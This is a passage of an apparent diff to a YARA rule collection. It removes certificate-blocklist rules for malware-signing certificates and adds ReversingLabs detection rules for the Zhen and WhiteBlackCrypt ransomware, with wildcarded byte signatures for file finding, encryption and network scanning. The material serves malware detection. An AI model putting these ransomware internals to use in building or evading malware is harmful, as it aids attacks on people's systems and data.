C0 75 ?? 8B 4D ?? FF 75 ?? 8B 45 ?? 53 FF 75 ?? 8D 44 06 ?? FF 75 ?? 50 + 51 E8 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? F6 45 ?? ?? + 74 ?? 83 65 ?? ?? 83 7D ?? ?? 75 ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 43 + ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5B EB + ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 5F C9 C2 + } + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 8B 3D ?? ?? ?? ?? FF 75 ?? FF D7 85 C0 + 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 75 ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? F6 C3 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? + ?? ?? ?? 85 C0 75 ?? 33 DB 85 DB 89 5D ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? + ?? ?? ?? 89 45 ?? EB ?? 83 65 ?? ?? 33 C9 39 4D ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 39 4D ?? 74 ?? 8B 45 ?? 8B 10 8B 40 ?? C1 65 ?? ?? 89 55 ?? 89 45 + ?? EB ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 4D ?? 8B 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? + 8B 5D ?? 33 F6 8B 45 ?? 85 C0 89 45 ?? 74 ?? 3B D8 73 ?? 89 5D ?? 2B 45 ?? 89 45 ?? + 75 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 7D ?? 8D 45 ?? 50 57 8D 47 ?? 50 FF 75 + ?? 8B 45 ?? 03 C6 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 03 75 ?? 85 C0 89 45 ?? 0F + } + $encrypt_files_p2 = { + 85 ?? ?? ?? ?? 2B 5D ?? 75 ?? EB ?? 8B 7D ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 33 + C0 3B 45 ?? 77 ?? 72 ?? 3B 5D ?? 73 ?? 8B C3 EB ?? 8B 45 ?? 29 45 ?? 8B 4D ?? 83 5D + ?? ?? 0B 4D ?? 75 ?? 8B 4D ?? 89 4D ?? 03 F0 2B D8 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 4D + ?? 0F AC C8 ?? C1 E9 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? F7 E1 29 45 ?? 19 55 ?? 01 45 ?? + 11 55 ?? 83 7D ?? ?? 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 85 C0 89 45 ?? 0F 84 ?? ?? ?? ?? + 8B 7D ?? 8D 47 ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 74 ?? 83 7D ?? + ?? 74 ?? 8B 4D ?? 8B 45 ?? 8B D1 0B D0 74 ?? 0F AC C1 ?? C1 E8 ?? 83 4F ?? ?? 89 4F + ?? 89 75 ?? 39 75 ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 + 75 ?? 74 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 85 DB 0F 85 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 01 75 ?? 83 55 ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF + D7 EB ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 5F 5E 5B C9 C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WEBPIC DESENVOLVIMENTO DE SOFTWARE LTDA" and pe.signatures [ i ] . serial == "0b:0d:17:ec:14:49:b4:b2:d3:8f:cb:0f:20:fb:cd:3a" and 1394150399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Fe9404Dc73Cf1C2Ba1450B8398305557 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Zhen : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Zhen ransomware." author = "ReversingLabs" - id = "17700719-81ea-58d4-87f5-4d5c1b19bf64" - date = "2020-08-05" - modified = "2023-11-08" + id = "ce6bc48d-934b-582c-8ce7-3dd595cbf5dd" + date = "2021-04-28" + modified = "2021-04-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2356-L2374" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zhen.yara#L1-L176" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c0132d71de1384f6e534dd154eba88c4a51c43b7dfe984f3064ba4feffa4dd5a" + logic_hash = "17b24e7baeccd90b8695eb8d21d9ee4a317806ed7713252d315d06bee3f93e65" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Zhen" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8E\\xA6\\xE9\\x97\\xA8\\xE7\\xBF\\x94\\xE9\\x80\\x9A\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE5\\x88\\x86\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:fe:94:04:dc:73:cf:1c:2b:a1:45:0b:83:98:30:55:57" or pe.signatures [ i ] . serial == "fe:94:04:dc:73:cf:1c:2b:a1:45:0b:83:98:30:55:57" ) and 1287360000 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_1Cb2D523A6Bf7A066642C578De1C9Be4 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "d2c87c29-cb64-5d43-847b-64c888421c1f" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2376-L2392" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a786b9ade5a59b8a1e0bbef1eb3dcb65404dcee19d572dc60f9ec9f45e4755b" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B 41 ?? C1 E0 ?? 8B 4D ?? 8B 49 ?? 03 C8 FF 15 + ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? FF 15 ?? ?? + ?? ?? 8D 55 ?? 8B 4D ?? 83 C1 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D + 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 + E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D + } + $find_files_p2 = { + 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 + ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 + ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 11 89 95 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B 4D ?? 89 48 ?? 8B 55 + ?? 89 50 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B + 4D ?? 89 48 ?? 8B 55 ?? 89 50 ?? 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 91 + ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? EB ?? 8D + 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? + ?? C3 C3 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? + 5F 5E 5B 8B E5 5D C2 + } + $encrypt_files_p1 = { + 55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? FF 15 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 52 66 8B 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 6A ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 50 6A ?? 6A ?? + 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 + 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B + 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 8B + 02 8B 4D ?? 51 FF 50 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 + 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 66 89 45 + ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 8B 02 50 66 8B 4D ?? 51 + } + $encrypt_files_p2 = { + 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? FF 15 ?? + ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 89 45 ?? 83 7D + ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? + EB ?? C7 45 ?? ?? ?? ?? ?? 66 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 8D 45 ?? 50 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? FF 15 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 8B 45 ?? 8B 08 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 50 8B 45 ?? 8B 08 51 8D 55 ?? 52 + FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 + ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? + FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D + ?? FF 15 ?? ?? ?? ?? C3 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 + ?? ?? ?? ?? C3 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B + 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 + } + $scan_network_p1 = { + 55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 + FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 4D ?? 51 8B + 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? + 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? FF + 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D + 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D + 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D + 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? + 8B 08 8B 55 ?? 52 FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 + 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF + } + $scan_network_p2 = { + 15 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF + 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? + ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? + ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 + 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 2B + 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? B9 + ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? + ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B + 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA + ?? ?? ?? ?? 2B 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? + ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? + 33 C9 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B + 55 ?? 33 C0 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? + ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 5D ?? + C7 45 ?? ?? ?? ?? ?? DD 45 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 41 ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + } + $scan_network_p3 = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? + ?? 52 8D 85 ?? ?? ?? ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 8B 02 89 85 ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? + ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 + ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B 11 8B 85 ?? ?? ?? ?? 50 FF 52 ?? DB E2 89 85 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 + ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 55 ?? 52 + FF 15 ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 51 ?? DB E2 89 + 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 + } + $scan_network_p4 = { + 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 + 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 50 8D 4D ?? 51 + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? + 51 FF 50 ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 9B 68 ?? ?? ?? ?? EB ?? 8D + 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? + 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C3 8D 85 ?? ?? ?? + ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? FF 15 ?? ?? ?? + ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? C3 8B 4D + ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B 45 ?? 8B 4D ?? 64 89 + 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shenzhen Hua\\xE2\\x80\\x99nan Xingfa Electronic Equipment Firm" and pe.signatures [ i ] . serial == "1c:b2:d5:23:a6:bf:7a:06:66:42:c5:78:de:1c:9b:e4" and 1400889599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $scan_network_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3A6Ccabb1C62F3Be3Eb03869Fa43Dc4A : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Whiteblackcrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects WhiteBlackCrypt ransomware." author = "ReversingLabs" - id = "b16f7bb7-88fe-5f8f-9592-8d309f556419" - date = "2020-08-05" - modified = "2023-11-08" + id = "9855c10d-563d-54e0-bc79-945daef947de" + date = "2021-07-05" + modified = "2021-07-05" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2394-L2410" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ccb603c8a5f4fb63876e78d763f80a97098c23aa10673c7b04a48026268f57d3" + logic_hash = "37b95cc3412f2f2d02d19c4c15b529c4f67453cb195627b5bab2f353e7602354" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WhiteBlackCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 41 57 41 56 41 55 41 54 55 57 56 53 48 83 EC ?? 4C 8D 3D ?? ?? ?? ?? 45 31 F6 49 89 + CD E8 ?? ?? ?? ?? 48 